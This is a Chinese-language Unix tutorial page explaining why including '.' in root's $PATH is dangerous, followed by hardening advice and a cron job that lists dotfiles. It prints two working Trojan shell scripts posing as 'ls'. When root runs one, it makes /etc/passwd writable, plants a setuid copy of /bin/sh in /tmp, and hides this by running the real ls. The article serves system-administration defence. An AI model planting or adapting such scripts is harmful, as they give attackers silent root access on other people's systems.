歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Unix知識 >> Unix資訊 >> Unix系統中環境變量知識講解

Unix系統中環境變量知識講解

日期:2017/3/6 11:39:15   编辑:Unix資訊

正如很多人所知道的$PATH環境變量裡存著一張目錄列表,當用戶要執行某一程序時,Unix系統就會按照列表中的內容去查找該程序的位置。當程序名前不帶點斜線 . / 時$PATH就會起作用。

對於普通用戶和root用戶$PATH裡默認是不包含"."來指定用戶的當前目錄。這在本機進行腳本開發的程序員來說卻不方便,想圖省事的人就把點加到了搜索路徑中,這就等於在你的Unix系統埋下了險情。

例如:root為了方便使用在他的當前路徑末尾加了個點"."(搜索目錄為代表當前目錄)

命令操作如下:

  1. [root@rh root]# PATH=$PATH:.
  2. [root@rh root]# echo $PATH
  3. /usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

這下是方便了,直接輸入腳本名就能執行。OK,正常情況下一點問題沒有,也省去了輸入./foo.sh的煩惱(foo.sh是我假設的腳本文件名)。有的root把PATH=$PATH:.這條命令加到了profile裡,使所有用戶到分享你給他們帶來的"福音"。更有勝者root用戶竟然 PATH=.:$PATH(將":"加到路徑前是另一種形式)。正常請況下一點問題沒有,直到有一天,張三用戶在他的主目錄下放了名為lls的腳本,並對 root說他的Unix系統出問題了希望root能幫他解決。(其實是一個trap)。Root一上來就su 成管理員權限,緊更著列了一下目錄。有可能管理員誤敲成了lls,結果哈哈。。。。

以下是個簡單的C shell 的例子

  1. #!/bin/csh
  2. If ( ! -o /bin/su )
  3. goto finish
  4. cp /bin/sh /tmp/.sh
  5. chmod 7777 /tmp/.sh
  6. finish :
  7. exec /bin/ls $argv | grep -v ls

稍微變形就有個B shell的

  1. #!/bin/sh
  2. if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
  3. cp /bin/sh /tmp/.sh
  4. chmod 4755 /tmp/.sh
  5. fi
  6. exec ls "$@"

如果root將其環境變量$PATH包含了"."並且其位置先與ls所在的Unix系統目錄,那麼當用戶在/tmp中執行ls時,執行的是上面給出的腳本,而不是實際的ls命令,因為最終還是執行了ls,所以root不會看出有任何異常。如果是root執行了該腳本,就會將口令文件設置為可寫,並將 shell復制到/tmp保存為.sh,同時設置其setuserid位,所有這一切都非常安靜地發生。

在以上這兩個程序裡,心懷不鬼的人能寫入任何令root急的要跳樓的程序,部下陷阱等root來鑽,也許root在不知不覺中施行了也根本不會察覺。也許在張三的主目錄下有一個名為ps的腳本裡面包含有危險腳本,root可能一到他的機器前就輸入了ps,此時Unix系統會首先到當前目錄下搜索,結果 /sbin/ps卻不被執行。類似這樣的小花招還有很多。

管理員同志,不要太緊張,下面我說說解決辦法。

首先,要養成輸絕對路徑的良好命令行輸入習慣,這樣就不會讓"不法份子"乘虛而入了。比如,列目錄最好用/bin/ls來列目錄,不要圖方便而冒然輸入ls。

其次,根用戶(root)不要把"."包括到搜索目錄列表裡,而普通用戶如果個"."包括到搜索列表中的話別,則"."就應當放在搜索目錄列表的最後位置上。這樣一來普通用戶不會受到前面所述的那種危害。

最後,可以在登陸時在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

這個簡單的sed命令將刪除路徑裡所有的"."包括其另一形式"::"

還可以由crontab調用定期執行

  1. #find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; \
  2. mail -s 'this is a pointlist' root@localhost < point.txt

來搜索所有以點開頭的文件,再發送到root的郵箱裡,再進行比較等任務。

好了,希望各位用戶能有所感悟,能想出更好的Unix系統防御辦法。

Copyright © Linux教程網 All Rights Reserved